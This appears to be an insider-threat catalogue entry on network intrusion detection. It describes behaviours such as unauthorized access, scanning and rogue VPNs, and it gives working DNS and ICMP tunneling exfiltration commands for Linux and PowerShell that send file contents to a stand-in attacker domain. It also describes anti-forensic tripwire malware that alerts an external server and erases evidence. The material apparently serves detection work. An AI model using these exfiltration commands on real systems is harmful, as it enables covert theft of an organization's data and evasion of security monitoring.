Network Intrusion Detection Systems

A subject intentionally provides system or data access to a third party that is not authorized to access it.

A subject can access the web with an organization device.

A subject is able to access external FTP servers.

A subject conducts a scan of a network to identify additional systems, or services running on those systems.

The subject installs and uses an unapproved VPN client, potentially violating organizational policy. By using a VPN service not controlled by the organization, the subject can bypass security controls, reducing the security team’s visibility into network activity conducted through the unauthorized VPN. This could lead to significant security risks, as monitoring and detection mechanisms are circumvented.

The subject intentionally weakens or bypasses network security controls for a third party, such as providing credentials or disabling security controls.

A subject exfiltrates data from an organization by encapsulating or hiding it within an otherwise legitimate protocol. This technique allows the subject to covertly transfer data, evading detection by standard security monitoring tools. Commonly used protocols, such as DNS and ICMP, are often leveraged to secretly transmit data to an external destination.

DNS Tunneling (Linux)
A simple example of how DNS tunneling might be achieved with 'Living off the Land' binaries (LoLBins) in Linux:
 

Prerequisites:

• A domain the subject controls or can use for DNS queries.
• A DNS server to receive and decode the DNS queries.

Steps:

1. The subject uses xxd to create a hex dump of the file they wish to exfiltrate. For example, if the file is secret.txt:

xxd -p secret.txt > secret.txt.hex
 

2. The subject splits the hexdump into manageable chunks that can fit into DNS query labels (each label can be up to 63 characters, but it’s often safe to use a smaller size, such as 32 characters):

split -b 32 secret.txt.hex hexpart_

3. The subject uses dig to send the data in DNS TXT queries. Looping through the split files and sending each chunk as the subdomain of example.com in a TXT record query:

for part in hexpart_*; do
   h=$(cat $part)
   dig txt $h.example.com
done

On the target DNS server that they control, the subject captures the incoming DNS TXT record queries on the receiving DNS server and decode the reassembled hex data from the subdomain of the query.

DNS Tunneling (Windows)
A simple example of how DNS tunneling might be achieved with PowerShell in Windows:

Prerequisites:

• A the subject you controls.
  A DNS server or a script on the subjects server to capture and decode the DNS queries.

Steps:
1. The subject converts the sensitive file to hex:

$filePath = "C:\path\to\your\secret.txt"
$hexContent = [System.BitConverter]::ToString([System.IO.File]::ReadAllBytes($filePath)) -replace '-', ''

2. The subject splits the hex data into manageable chunks that can fit into DNS query labels (each label can be up to 63 characters, but it’s often safe to use a smaller size, such as 32 characters):

$chunkSize = 32
$chunks = $hexContent -split "(.{$chunkSize})" | Where-Object { $_ -ne "" }

3. The subject sends the data in DNS TXT queries. Looping through the hex data chunks and sending each chunk as the subdomain of example.com in a TXT record query:

$domain = "example.com"

foreach ($chunk in $chunks) {
   $query = "$chunk.$domain"
   Resolve-DnsName -Name $query -Type TXT
}

The subject will capture the incoming DNS TXT record queries on the receiving DNS server and decode the reassembled hex data from the subdomain of the query.

ICMP Tunneling (Linux)
A simple example of how ICMP tunneling might be achieved with 'Living off the Land' binaries (LOLBins) in Linux:
 

Prerequisites:

• The subject has access to a server that can receive and process ICMP packets.
• The subject has root privileges on both client and server machines (as ICMP usually requires elevated permissions).

Steps:

1. The subject uses xxd to create a hex dump of the file they wish to exfiltrate. For example, if the file is secret.txt:

xxd -p secret.txt > secret.txt.hex

2. The subject splits the hexdump into manageable chunks. ICMP packets have a payload size limit, so it’s common to use small chunks. The following command will split the hex data into 32-byte chunks:
 

split -b 32 secret.txt.hex hexpart_

3. The subject uses ping to send the data in ICMP echo request packets. Loop through the split files and send each chunk as part of the ICMP payload:

DESTINATION_IP="subject_server_ip"
for part in hexpart_*; do
   h=$(cat $part)
   ping -c 1 -p "$h" $DESTINATION_IP
done

The subject will capture the incoming ICMP packets on the destination server, extract the data from the packets and decode the reassembled the hex data.

A subject installs custom software or malware on an endpoint, potentially disguising it as a legitimate process. This software includes tripwire logic to monitor the system for signs of security activity.

The tripwire software monitors various aspects of the endpoint to detect potential investigations:

• Security Tool Detection: It scans running processes and monitors new files or services for signatures of known security tools, such as antivirus programs, forensic tools, and Endpoint Detection and Response (EDR) systems.
• File and System Access: It tracks access to critical files or system directories (e.g., system logs, registry entries) commonly accessed during security investigations. Attempts to open or read sensitive files can trigger an alert.
• Network Traffic Analysis: The software analyzes network traffic to identify unusual patterns, including connections to Security Operations Centers (SOC) or the blocking of command-and-control servers by network security controls.
• User and System Behavior: It observes system behavior and monitors logs (such as event logs) that indicate an investigation is in progress, such as switching to an administrative account or modifying security settings (e.g., enabling disk encryption, changing firewall rules).

Upon detecting security activity, the tripwire can initiate various evasive responses:

• Alert the Subject: It covertly sends an alert to an external server controlled by the subject, using common system tools (e.g., curl, wget, or HTTP requests).
• Modify Endpoint Behavior: It can terminate malicious processes, erase evidence (e.g., logs, browser history, specific files), or restore system and network configurations to conceal signs of tampering.